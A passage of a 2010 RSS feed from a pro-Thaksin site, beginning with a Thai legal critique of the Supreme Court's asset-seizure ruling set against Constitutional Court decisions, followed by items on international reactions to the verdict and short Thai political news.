<p>นอกจากนี้ยังมีคำถามต่อไปได้อีกว่า เหตุใดจึงไม่ใช้วันที่เริ่มออกมาตรการเป็นเส้นแบ่งแทนที่จะใช้วันเข้าดำรงตำแหน่งนายกรัฐมนตรี ซึ่งอาจตีความได้ว่าเป็นการถือว่าการดำรงตำแหน่งนายกรัฐมนตรีของผู้ถูกกล่าวหาตั้งแต่ต้นจนวันที่ขายหุ้น ล้วนเป็นเหตุให้ทรัพย์สินมีมูลค่าเพิ่มมากขึ้นทั้งสิ้น</p>
<p>ลำพังการดำรงตำแหน่งนายกรัฐมนตรีเท่านั้นย่อมไม่สามารถถือเป็นเหตุของการมีทรัพย์สินเพิ่มมากขึ้นผิดปรกติได้</p>
<p>เมื่อดูข้อเท็จจริงเกี่ยวกับราคาหุ้นในวันที่ออกมาตรการต่างๆแล้ว ก็จะยิ่งเห็นประเด็นที่น่าสนใจอย่างมาก คือในวันที่ออกมาตรการ 2 &#8211; 3 มาตรการแรกๆ นั้น ปรากฏว่าราคาหุ้นของบริษัทชินคอร์ปฯ กลับต่ำกว่าวันที่ผู้ถูกกล่าวหาเข้าดำรงตำแหน่งนายกรัฐมนตรี มิได้สูงขึ้นอย่างที่อาจมีความเข้าใจกัน</p>
<p>นี่อาจเป็นสาเหตุที่ไม่อาจใช้วันที่ออกมาตรการเป็นเส้นแบ่ง เพราะถ้าใช้วันเหล่านั้น มูลค่าหุ้นที่กลับลดลงก็จะขัดแย้งกับข้อสรุปที่ว่ามาตรการต่างๆนั้นเป็นสาเหตุให้มีทรัพย์สินเพิ่มมากขึ้น</p>
<p>เรื่องนี้จึงจะเป็นปัญหาต่อไปว่าในกรณีที่มีการกล่าวหาว่าทรัพย์สินที่อยู่ในรูปของหุ้นในตลาดหลักทรัพย์เพิ่มมากขึ้นผิดปรกตินั้น จะคำนวณกันอย่างไรจึงจะเป็นธรรมต่อทุกฝ่าย</p>
<p>คดียึดทรัพย์นี้เป็นคดีประวัติศาสตร์ที่จะมีผู้คนจำนวนมากศึกษาและวิพากษ์วิจารณ์กันไปอีกนาน ผมหวังว่าความเห็นดังที่ได้เสนอมานี้จะเป็นประโยชน์ต่อผู้ที่สนใจคดีนี้ โดยเฉพาะผู้ที่สนใจปัญหาจากการรัฐประหาร ปัญหาจากกระบวนการตุลาการภิวัตน์ และผู้ที่ต้องการจะแก้ไขรัฐธรรมนูญให้เป็นประชาธิปไตย และปฏิรูประบบยุติธรรมให้มีความยุติธรรมอย่างแท้จริง คงจะนำไปใช้ประโยชน์ในการแลกเปลี่ยนความคิดเห็นในทางสร้างสรรค์ต่อไปได้บ้างตามสมควร</p>
<p><strong>0 0 0</strong></p>
<p><strong>ข้อมูลประกอบ เอกสารแนบ 1</strong></p>
<table border="1" cellspacing="0" cellpadding="0" width="744">
<tbody>
<tr>
<td width="36" valign="top"><strong>ที่</strong></td>
<td width="408" valign="top"><strong>คำวินิจฉัยศาลฎีกาของผู้ดำรงตำแหน่งทางการเมือง</strong></td>
<td width="300" valign="top"><strong>คำวินิจฉัยของศาลรัฐธรรมนูญ</strong></td>
</tr>
<tr>
<td width="36" valign="top">1</td>
<td width="408" valign="top">หลักการและเหตุผลที่ผู้ถูกกล่าวหากับคณะรัฐมนตรีดำเนินการ เป็นเรื่องที่ขัดแย้งกันอยู่ในตัว   เพราะการที่รัฐมนตรีในสมัยนั้นตรา พ.ร.ก.เพิ่มเติม พ.ร.บ.   พิกัดอัตราภาษีสรรพสามิต พ.ศ. 2527 (ฉบับที่ 4) พ.ศ. 2546 และ พ.ร.ก.แก้ไขเพิ่มเติม พ.ร.บ.   ภาษีสรรพสามิต พ.ศ.2527 พ.ศ.2546 <strong><em>ย่อมเป็นเหตุผลที่แสดงว่า ประสงค์จะหารายได้เข้ารัฐ แต่การที่คณะรัฐมนตรีชุดนั้นยอมให้ภาคเอกชนที่ประกอบธุรกิจในด้านกิจการโทรคมนาคม   ซึ่งเสียภาษีสรรพสามิต สามารถนำภาษีที่ชำระให้แก่กรมสรรพสามิตไปหักออกจากค่าสัมปทานที่ต้องชำระให้แก่หน่วยงานของรัฐได้   จึงขัดแย้งกับวัตถุประสงค์ในการตรา พ.ร.บ. ทั้งสองฉบับดังกล่าวอย่างชัดเจน</em></strong></td>
<td width="300" valign="top">ศาลรัฐธรรมนูญที่   32/2548 ( หน้า 23 ) ได้มีคำวินิจฉัยดังนี้ “   การยอมให้นำภาษีสรรพสามิตไปหักจากส่วนแบ่งรายได้ดังกล่าว จึงมิใช่เป็นการเรียกเก็บค่าตอบแทนหรือค่าธรรมเนียมการอนุญาตการใช้คลื่นความถี่และการประกอบกิจการโทรคมนาคมแต่อย่างใด   คงเป็นเพียงมาตรการชั่วคราวที่<strong><em>ป้องกันมิให้เกิดผลกระทบต่อราคาค่าบริการโทรคมนาคมที่มีราคาสูงอันเกิดจากภาระภาษีสรรพสามิตที่ผู้ประกอบการผลักให้ผู้ใช้บริการเท่านั้น</em></strong> ในฐานะที่เป็นรัฐบาลจึงต้องคุ้มครองประชาชนที่เป็นผู้ใช้บริการ ในขณะเดียวกันรัฐก็ต้องคุ้มครองประโยชน์สาธารณะคือ   รายได้จากการเก็นภาษีดังกล่าวด้วย ทั้งนี้หากรัฐบาลเห็นว่า นโยบายดังกล่าวหมดความจำเป็นแล้ว   ก็สามารถยกเลิกหรือแก้ไขประกาศกระทรวงการคลังฉบับดังกล่าวได้เช่นกัน”</td>
</tr>
<tr>
<td width="36" valign="top">2</td>
<td width="408" valign="top">หากคณะรัฐมนตรีมีมติเห็นชอบให้กระทรวงการคลังออกประกาศกระทรวงการคลังเพิ่มอัตราภาษีให้สูงขึ้นร้อยละ   25 บริษัท เอไอเอส ซึ่งเสียภาษีแล้วก็สามารถนำไปหักออกจากค่าสัมปทานที่ต้องชำระแก่   ทศท.ได้ แต่ ทศท. จะไม่ได้รับประโยชน์จากค่าสัมปทานเลย เพราะต้องนำไปหักเป็นค่าภาษีสรรพสามิตจนหมดสิ้น   หากกรณีเป็นเช่นนี้ย่อมเห็นได้ชัดเจนว่าบริษัทเอไอเอส   ไม่ต้องเสียภาษีสรรพสามิตเลย เพราะเอาค่าสัมปทานที่ ทศท. ได้รับไปหักออกจากภาษีจนครบถ้วน   แต่ถ้า ทศท. ประสงค์จะขอใบอนุญาตประกอบกิจการโทรคมนาคมจาก กทช. ทศท. ย่อมต้องเสียภาษีสรรพสามิตในอัตราร้อยละ   25 มติ<strong><em>คณะรัฐมนตรีที่ออกมาในลักษณะเช่นนี้ย่อมส่งผลกระทบต่อสถานะและความมั่นคงของ   ทศท. อย่างรุนแรง</em></strong></p>
<p>ส่วนผู้ประกอบธุรกิจให้บริการโทรศัพท์รายใหม่ซึ่งจากต้องเสียค่าธรรมเนียมและค่าบริการในกิจการโทรคมนาคมให้แก่   กทช.แล้ว ยังต้องเสียภาษีสรรพสามิตอีกด้วย ทั้งที่ประกอบการธุรกิจรายใหม่ยังไม่มีลูกค้าเลย   หรือมีลูกค้าน้อยกว่าบริษัทเอไอเอส ซึ่งครองตลาดอยู่ก่อนแล้ว   การที่ผู้ประกอบการรายใหม่ต้องเสียภาษีสรรพสามิต กับค่าธรรมเนียมและค่าบริการในกิจการโทรคมนาคม   ให้แก่ กทช. ซึ่งเป็นต้นทุนในการดำเนินการที่สูงกว่าบริษัทเอไอเอส อย่างมากทั้งที่ยังไม่มีลูกค้าเลยหรือมีลูกค้าน้อยกว่าบริษัทเอไอเอส   จึงเป็นการยากที่ผู้ประกอบการรายใหม่จะเกิดขึ้นได้</td>
<td width="300" valign="top">ศาลรัฐธรรมนูญ   ที่ 32 / 2548 (หน้า 24) ได้มีคำวินิจฉัยดังนี้</p>
<p>“ การยอมให้มีการหักภาษีสรรพสามิตออกจากส่วนแบ่งรายได้ที่บริษัทเอกชนต้องจ่ายให้รัฐโดยผ่าน   ทศท. และ กสท. ซึ่งเป็นคู่สัญญาเดิม<strong><em> เนื่องจากปัจจุบันหน่วยงานทั้งสองได้แปรรูปเป็น   บริษัทมหาชน จำกัด แล้ว รายได้ที่เป็นส่วนแบ่งรายได้ที่เป็นค่าใช้ประโยชน์จากสัมปทานซึ่งเคยส่งมอบให้รัฐ   ก็จะตกเป็นของผู้ถือหุ้น</em></strong> การที่รัฐกำหนดให้เก็บภาษีสรรพสามิตในกิจการโทรคมนาคม   โดยให้หักจากส่วนแบ่งรายได้ที่ผู้ประกอบการรายเก่าต้องจ่าย ย่อมทำให้รัฐยังคงได้รับรายได้ในส่วนนี้ต่อไป   โดยแปลงส่วนแบ่งรายได้บางส่วนเป็นภาษีสรรพาสามิต และมิใช่เป็นการแปลงหรือแก้ไขสัญญาสัมปทานแต่อย่างใด   เพราะผู้ประกอบการรายเก่ายังคงต้องเสียค่าส่วนแบ่งรายได้เท่าเดิมเป็นไปตามสัญญาที่ตกลงกันไว้ก่อนที่พระราชกำหนดนี้ใช้บังคับ</td>
</tr>
<tr>
<td width="36" valign="top">3</td>
<td width="408" valign="top">ผู้ถูกกล่าวหาได้ใช้อำนาจในตำแหน่งหน้าที่ในการตรา พ.ร.ก. ทั้ง 2 ฉบับและออกประกาศกระทรวงการคลังรวมทั้งมี<strong><em>มติคณะรัฐมนตรีให้นำภาษีสรรพสามิตหักออกจากค่าสัมปธานซึ่งเป็นการกีดกันผู้ประกอบกิจการโทรคมนาคมรายใหม่</em></strong> การกระทำอันเป็นการเอื้อประโยชน์แก่บริษัทชินคอร์ป จนเป็นเหตุให้รัฐได้รับความเสียหาย</td>
<td width="300" valign="top">ศาลรัฐธรรมนูญที่   32 / 2548 (หน้า 31) ได้มีวินิจฉัยประเด็นนี้ดังนี้</p>
<p>“ การจัดเก็บภาษีสรรพสามิตดังกล่าวมิได้มีวัตถุประสงค์ที่จะแทรกแซงเสรีภาพในการประกอบอาชีพหรือการแข่งขันโดยเสรี   แต่อย่างใด แต่เป็นเพียงมาตรการของรัฐ ในการจัดหารายได้อันมีวัตถุประสงค์เพื่อรักษาความมั่นคงทางเศรษฐกิจของประเทศ   <strong><em>แม้ว่าการยอมให้ผู้ประกอบการรายเก่าสามารถนำภาษีสรรพสามิตไปหักจากส่วนแบ่งรายได้ในขณะที่ผู้ประกอบการรายใหม่ไม่สามารถกระทำได้นั้น   ซึ่งอาจทำให้เกิดความไม่เป็นธรรมในการแข่งขัน อันนำไปสู่การผูกขาดในการประกอบการ   เมื่อผู้ประกอบการรายเก่าเสียค่าใช้ประโยชน์ในกิจการโทรคมนาคมในรูปส่วนแบ่งรายได้ให้รัฐและยังต้องเสียภาษีสรรพสามิตอีก   ในขณะที่ผู้ประกอบการรายใหม่เสียค่าใช้ประโยชน์ในรูปภาษีสรรพสามิตเพียงอย่างเดียวอาจเกิดความไม่เป็นธรรม   ซึ่งตามหลักของการบริหารภาษีที่ดีที่ว่าจะต้องจัดเก็บเสมอภาคและเป็นธรรม รัฐจึงยอมให้ผู้ประกอบการรายเก่าหักเงินที่จะต้องสียภาษีสรรพสามิตออกจากส่วนแบ่งรายได้   เพื่อรักษาความเป็นธรรมในการแข่งขัน</em></strong><strong><em>”</em></strong></td>
</tr>
<tr>
<td width="36" valign="top">4</td>
<td width="408" valign="top">การกระทำอันเป็นการเอื้อประโยชน์แก่บริษัทชินคอร์ป   จนเป็นเหตุให้รัฐได้รับความเสียหายเมื่อข้อเท็จจริงได้ความดังนี้ รูปคดีจึงไม่จำต้องวินิจฉัยว่า   <strong><em>การกระทำของผู้ถูกกล่าวหาเป็นการลิดรอนอำนาจของ กทช. หรือไม่อีกต่อไป</em></strong></td>
<td width="300" valign="top">ศาลรัฐธรรมนูญที่   32 / 2548 ( หน้า 22 ) ได้มีคำวินิจฉัยประเด็นนี้ดังนี้</p>
<p>“การใช้อำนาจของรัฐในการจัดเก็บภาษีสรรพสามิตจากการประกอบกิจการโทรคมนาคมตามพระราชกำหนดนี้   มิได้เป็นการก้าวล่วงการใช้อำนาจของ กทช. ที่รัฐธรรมนูญบัญญัติให้เป็นองค์กรที่มีหน้าที่ตาม   มาตรา 40 ไว้เป็นการเฉพาะ เนื่องจากการจัดเก็บภาษีสรรพาสามิตตามพระราชกำหนด   มิได้เป็นเงื่อนไขหรือองค์ประกอบที่สำคัญในการกำหนดโครงสร้างอัตราค่าธรรมเนียม และค่าบริการของผู้ใช้บริการและผู้ให้บริการ   และไม่มีวัตถุประสงค์ที่จะบังคับใช้เพื่อการกำกับกิจการโทรคมนาคม</p>
<p>กทช.ยังคงมีอำนาจหน้าที่ตามที่บัญญัติไว้ในรัฐธรรมนูญและกฎหมายทุกประการ   โดยเฉพาะอย่างยิ่งในส่วนที่เกี่ยวกับอำนาจในการกำหนดค่าตอบแทน หรือค่าธรรมเนียมการอนุญาตใช้คลื่นความถี่และการประกอบกิจการโทรคมนาคม   หรือกำหนดโครงสร้างอัตราค่าธรรมเนียมและค่าบริการในกิจการโทรคมนาคม</p>
<p>ดังนั้น   <strong><em>การจัดเก็บภาษีสรรพาสามิตตามพระราชกำหนดนี้จึงเป็นการใช้อำนาจของรัฐบาลตามที่กฎหมายด้านภาษีกำหนดไว้   โดยไม่เป็นการใช้อำนาจที่ซ้ำซ้อนหรือเป็นการแทรกแซงการใช้อำนาจของ กทช.แต่อย่างใด</em></strong><strong><em>” </em></strong></p>
<p>ข้อวินิจฉัยของศาลฎีกาที่ว่า   “การกระทำอันเป็นการเอื้อประโยชน์แก่บริษัทชินคอร์ป จนเป็นเหตุให้รัฐได้รับความเสียหาย   เมื่อข้อเท็จจริงได้ความดังนี้ รูปคดีจึงไม่จำต้องวินิจฉัยว่า   การกระทำของผู้ถูกกล่าวหาเป็นการลิดรอนอำนาจของ กทช. หรือไม่อีกต่อไป” นั้น ศาลฎีกาย่อมไม่มีอำนาจวินิจฉัยเพราะคำวินิจฉัยศาลรัฐธรรมนูญเป็นเด็ดขาดย่อมมีผลผูกพันศาล   และองค์กรอื่นของรัฐตามรัฐธรรมนูญแห่งราชอาณาจักรไทย พุทธศักราช 2540 มาตรา 268 และรัฐธรรมนูญแห่งราชอาณาจักรไทย   พุทธศักราช 2540 มาตรา 216</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/03/headlines/772/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How the world viewed the judgment</title>
		<link>http://www.thaksinlive.com/2010/03/headlines/763</link>
		<comments>http://www.thaksinlive.com/2010/03/headlines/763#comments</comments>
		<pubDate>Tue, 02 Mar 2010 07:09:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>
		<category><![CDATA[Judgment]]></category>
		<category><![CDATA[world viewed]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/2010/03/headlines/763</guid>
		<description><![CDATA[
Simon Montlake said in the Christian Science Monitor on 26/02/10: “The verdict underscores the role of Thailand’s judiciary in adjudicating a deep-rooted political dispute that has paralyzed a longtime American ally in Asia. Since a 2006 coup that removed Thaksin, he and his allies have lost a string of important court cases, while his opponents [...]]]></description>
			<content:encoded><![CDATA[<p><strong></strong><br />
Simon Montlake said in the Christian Science Monitor on 26/02/10: “The verdict underscores the role of Thailand’s judiciary in adjudicating a deep-rooted political dispute that has paralyzed a longtime American ally in Asia. Since a 2006 coup that removed Thaksin, he and his allies have lost a string of important court cases, while his opponents have largely been spared.”<span id="more-763"></span><br />
Montlake was reporting on the Supreme Court’s judgment of the same day which confiscated Bt46 billion of assets belonging to Dr Thaksin Shinawatra’s family and opened the way for further claims on their earnings.</p>
<p>“This confirms what people already think they know, that they’re going all out to stop [Thaksin]. I don’t think that it changes anything at all,” Montlake quoted Michael Montesano, a Visiting Fellow at the Institute for Southeast Asian Studies in Singapore.<br />
&#8220;This verdict confirms the continuing role of the judiciary in resolving political crises in the country,&#8221; IPS quoted Thanet Aphornsuvan, a historian at Thammasat University. &#8220;The Supreme Court is being increasingly asked to play an important role, so I was not surprised by the verdict.”<br />
Thanet once described this trend as a &#8220;judicial revolution.&#8221;<br />
British academic Duncan McCargo said in an op-ed in The Independent, London, the next day: “Judicialisation of politics has been the major response of the royalist elite to the Thaksin ‘threat’. Constant recourse to the courts has undermined state legitimacy and infuriated Thaksin&#8217;s supporters.</p>
<p>“Judges have abolished a number of Thaksin-aligned political parties, banned most senior Thaksinite politicians from public life for five-year terms, and even ousted prime minister Samak Sundaravej for illegally hosting a television cookery show.”</p>
<p>Asia Times said: “The court-ordered seizure of Thaksin&#8217;s assets is in line with the gathering trend towards the ‘judicialization’ of Thai politics, ……where high courts and judges assume the role the monarchy has traditionally played in mediating the country&#8217;s complex and often heated political disputes.”<br />
Bangkok Pundit preferred the term “judiocracy”. He viewed the powers that have been vested in the unelected judicial branch as too broad. “They are unaccountable,” he said. The judges “simply say we should trust them. However, this trust does not come with a right to open criticism as the judiciary is quick to make allegations of contempt. The judiciary can then jail and/or fine, and in essence, they act as judge, jury, and executioner. Yet at the same time this has not stopped the judiciary from making public comments criticizing politicians and the political system,” added Bangkok Pundit.<br />
&#8220;What Thai people feel at the moment is that justice in this society is fading away,&#8221; said General Chavalit Yongchaiyudh, chairman of the pro-Thaksin Pheua Thai Party.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/03/headlines/763/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>แผนภาพกราฟเปรียบเทียบดัชนีตลาดหลักทรัพย์กับราคาหุ้นบริษัทชินคอร์ปฯ</title>
		<link>http://www.thaksinlive.com/2010/03/headlines/759</link>
		<comments>http://www.thaksinlive.com/2010/03/headlines/759#comments</comments>
		<pubDate>Mon, 01 Mar 2010 14:56:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>
		<category><![CDATA[กราฟ]]></category>
		<category><![CDATA[ตลาดหลักทรัพย์]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=759</guid>
		<description><![CDATA[แผนภาพกราฟเปรียบเทียบดัชนีตลาดหลักทรัพย์กับราคาหุ้นบริษัทชินคอร์ปฯ
พ.ต.ท. ดร. ทักษิณ  ชินวัตร ดำรงตำแหน่งนายกรัฐมนตรีคนที่ 23 ตั้งแต่ 9  กุมภาพันธ์ 2544 &#8211; 19 กันยายน 2549
]]></description>
			<content:encoded><![CDATA[<p>แผนภาพกราฟเปรียบเทียบดัชนีตลาดหลักทรัพย์กับราคาหุ้นบริษัทชินคอร์ปฯ</p>
<p>พ.ต.ท. ดร. ทักษิณ  ชินวัตร ดำรงตำแหน่งนายกรัฐมนตรีคนที่ 23 ตั้งแต่ 9  กุมภาพันธ์ 2544 &#8211; 19 กันยายน 2549<span id="more-759"></span></p>
<div id="zdscribdid_759_1" style="width: 100%; padding: 15px 0px;"><a href="http://www.thaksinlive.com">ZD Scribd iPaper</a></div>
<script type="text/javascript">
var zdscribdvar_759_1 = scribd.Document.getDoc(27657213, 'key-knopam8pqkgo0jbqfqi')
zdscribdvar_759_1.addParam('jsapi_version', 1);
zdscribdvar_759_1.addParam('height', 600);
zdscribdvar_759_1.addParam('width', 590);
zdscribdvar_759_1.addParam('disable_related_docs', true);
zdscribdvar_759_1.addParam('mode', 'list');
zdscribdvar_759_1.addParam('auto_size', true);
zdscribdvar_759_1.addParam('page', 1);
zdscribdvar_759_1.write('zdscribdid_759_1');
</script>

<div id="zdscribdid_759_2" style="width: 100%; padding: 15px 0px;"><a href="http://www.thaksinlive.com">ZD Scribd iPaper</a></div>
<script type="text/javascript">
var zdscribdvar_759_2 = scribd.Document.getDoc(27657210, 'key-2nnftf8h6gi25j2dclvc')
zdscribdvar_759_2.addParam('jsapi_version', 1);
zdscribdvar_759_2.addParam('height', 600);
zdscribdvar_759_2.addParam('width', 590);
zdscribdvar_759_2.addParam('disable_related_docs', true);
zdscribdvar_759_2.addParam('mode', 'list');
zdscribdvar_759_2.addParam('auto_size', true);
zdscribdvar_759_2.addParam('page', 1);
zdscribdvar_759_2.write('zdscribdid_759_2');
</script>

<div id="zdscribdid_759_3" style="width: 100%; padding: 15px 0px;"><a href="http://www.thaksinlive.com">ZD Scribd iPaper</a></div>
<script type="text/javascript">
var zdscribdvar_759_3 = scribd.Document.getDoc(27657789, 'key-nyocsmcih8bypgxlq3v')
zdscribdvar_759_3.addParam('jsapi_version', 1);
zdscribdvar_759_3.addParam('height', 600);
zdscribdvar_759_3.addParam('width', 590);
zdscribdvar_759_3.addParam('disable_related_docs', true);
zdscribdvar_759_3.addParam('mode', 'list');
zdscribdvar_759_3.addParam('auto_size', true);
zdscribdvar_759_3.addParam('page', 1);
zdscribdvar_759_3.write('zdscribdid_759_3');
</script>

]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/03/headlines/759/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shinawatra to give Ugandans Bursaries</title>
		<link>http://www.thaksinlive.com/2010/02/headlines/692</link>
		<comments>http://www.thaksinlive.com/2010/02/headlines/692#comments</comments>
		<pubDate>Tue, 16 Feb 2010 11:36:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=692</guid>
		<description><![CDATA[Shinawatra to give Ugandans Bursaries 
]]></description>
			<content:encoded><![CDATA[<p><a style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;" title="View Shinawatra to give Ugandans Bursaries on Scribd" href="http://www.scribd.com/doc/26930308/Shinawatra-to-give-Ugandans-Bursaries">Shinawatra to give Ugandans Bursaries</a> <object id="doc_125732960005326" style="outline: none;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100%" height="600" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="name" value="doc_125732960005326" /><param name="data" value="http://d1.scribdassets.com/ScribdViewer.swf" /><param name="wmode" value="opaque" /><param name="bgcolor" value="#ffffff" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="FlashVars" value="document_id=26930308&amp;access_key=key-w97g97g4w44u4kxvo6f&amp;page=1&amp;viewMode=list" /><param name="src" value="http://d1.scribdassets.com/ScribdViewer.swf" /><param name="allowfullscreen" value="true" /><embed id="doc_125732960005326" style="outline: none;" type="application/x-shockwave-flash" width="100%" height="600" src="http://d1.scribdassets.com/ScribdViewer.swf" flashvars="document_id=26930308&amp;access_key=key-w97g97g4w44u4kxvo6f&amp;page=1&amp;viewMode=list" allowscriptaccess="always" allowfullscreen="true" bgcolor="#ffffff" wmode="opaque" data="http://d1.scribdassets.com/ScribdViewer.swf" name="doc_125732960005326"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/02/headlines/692/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Democrats reject charter amendment</title>
		<link>http://www.thaksinlive.com/2010/01/headlines/636</link>
		<comments>http://www.thaksinlive.com/2010/01/headlines/636#comments</comments>
		<pubDate>Wed, 27 Jan 2010 08:46:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=636</guid>
		<description><![CDATA[The 19-member executive board of the Democrat Party cast a crucial vote on 26/01/10 to reject the push by junior coalition parties for changes to the Constitution, according to The Nation.
]]></description>
			<content:encoded><![CDATA[<p>The 19-member executive board of the Democrat Party cast a crucial vote on 26/01/10 to reject the push by junior coalition parties for changes to the Constitution, according to <em>The Nation</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/01/headlines/636/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Coalition relations sour after Manit steps down</title>
		<link>http://www.thaksinlive.com/2010/01/headlines/607</link>
		<comments>http://www.thaksinlive.com/2010/01/headlines/607#comments</comments>
		<pubDate>Wed, 13 Jan 2010 07:32:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=607</guid>
		<description><![CDATA[Coalition relations sour after Manit steps down
// Relations between the Bhumjaithai Party and the ruling Democrats have reached breaking point over the forced resignation of Manit Nopamornbodee as deputy public health minister, but the minority coalition member cannot afford to quit, a Bhumjaithai source told Bangkok Post on 10/01/10.
This was because Bhumjaithai needed to handle [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Coalition relations sour after Manit steps down</strong></p>
<p><script type="text/javascript">// <![CDATA[
              tweetmeme_url = window.location;
              tweetmeme_service = 'digg.com';
              tweetmeme_source = "BPgeneralnews";
// ]]&gt;</script>Relations between the Bhumjaithai Party and the ruling Democrats have reached breaking point over the forced resignation of Manit Nopamornbodee as deputy public health minister, but the minority coalition member cannot afford to quit, a Bhumjaithai source told <em>Bangkok Post </em>on 10/01/10.</p>
<p>This was because Bhumjaithai needed to handle budget allocations under the Thai Khem Khaeng economic stimulus scheme. The party also needed to be sure it had all the resources to prepare for the next general election, the source said.</p>
<p>Democrat deputy leader Witthaya Kaewparadai quit as public health minister on 29/12/09 to take responsibility for a procurement scandal, one day after an independent panel headed by Banlu Siripanich, a former deputy permanent secretary for public health, alleged there was mismanagement of an 86 billion-baht budget.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/01/headlines/607/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Men in green want more say on air.</title>
		<link>http://www.thaksinlive.com/2010/01/headlines/587</link>
		<comments>http://www.thaksinlive.com/2010/01/headlines/587#comments</comments>
		<pubDate>Mon, 11 Jan 2010 06:00:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=587</guid>
		<description><![CDATA[Men in green want more say on air
The armed forces, which control about half the nation&#8217;s radio stations, want more say in the management of other stations. Military pressure is behind a Lower House committee&#8217;s decision to add another step to the selection of the National Broadcasting and Telecommunications Commission, sources say.
The committee working on [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Men in green want more say on air</strong></p>
<p>The armed forces, which control about half the nation&#8217;s radio stations, want more say in the management of other stations. Military pressure is behind a Lower House committee&#8217;s decision to add another step to the selection of the National Broadcasting and Telecommunications Commission, sources say.</p>
<p>The committee working on the bill to set up the NBTC has added a new selection process to help make sure men in uniform are represented on the commission, a committee source, who declined to be named, told the <em>Bangkok Post </em>on 06/01/10.</p>
<p><span id="more-587"></span>NBTC will allocate airwave frequencies. The original plan called for 22 candidates to be selected from eight professional groups such as broadcasters, consumer groups and universities. The new plan calls for an additional panel made up of representatives from 15 independent, public and state agencies, including the Permanent Secretary for Defence, to search for 22 candidates. All 44 candidates&#8217; names would be forwarded to the Senate, which would pick 11 people from the list to sit on NBTC.</p>
<p>Col Orathai Amornsri, of the Broadcasting, Televisions and Telecommunications Office, told the <em>Post: </em>&#8221;The Defence Ministry has to use radio and television frequencies for security purposes to counter southern insurgents and those posting lese majeste messages on the internet.&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/01/headlines/587/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mass-transit plans suffer from &#8230;</title>
		<link>http://www.thaksinlive.com/2010/01/headlines/585</link>
		<comments>http://www.thaksinlive.com/2010/01/headlines/585#comments</comments>
		<pubDate>Mon, 11 Jan 2010 05:57:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=585</guid>
		<description><![CDATA[Mass-transit plans suffer from political meddling
Political interference to reap benefits from the multibillion-baht mass-transit project is likely to hold back investment progress, according to The Nation on 08/12/10.
The daily quoted a Transport Ministry source as saying that there had been attempts by politicians to change some project details in order to allocate benefits for their [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Mass-transit plans suffer from political meddling</strong></p>
<p>Political interference to reap benefits from the multibillion-baht mass-transit project is likely to hold back investment progress, according to <em>The Nation </em>on 08/12/10.</p>
<p>The daily quoted a Transport Ministry source as saying that there had been attempts by politicians to change some project details in order to allocate benefits for their interest groups.</p>
<p>Since the launch of the 2004-2009 Bangkok Mass Transit Master Plan, for seven routes with a total length of 236 kilometres, the Office of Transport and Traffic Policy and Planning has been able to construct just over 39km of rail lines.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thaksinlive.com/2010/01/headlines/585/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Your happiness level, according to …</title>
		<link>http://www.thaksinlive.com/2009/12/headlines/331</link>
		<comments>http://www.thaksinlive.com/2009/12/headlines/331#comments</comments>
		<pubDate>Tue, 08 Dec 2009 09:45:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Headlines]]></category>
		<category><![CDATA[What others say]]></category>

		<guid isPermaLink="false">http://www.thaksinlive.com/?p=331</guid>
		<description><![CDATA[Bangkok Pundit published on 08/12/09 a criticism of how a National Happiness Index could be used or abused.
After the military coup of 2006, Prime Minister Surayud Chulanont’s government instituted a happiness index. It is frequently referred to in the media. 
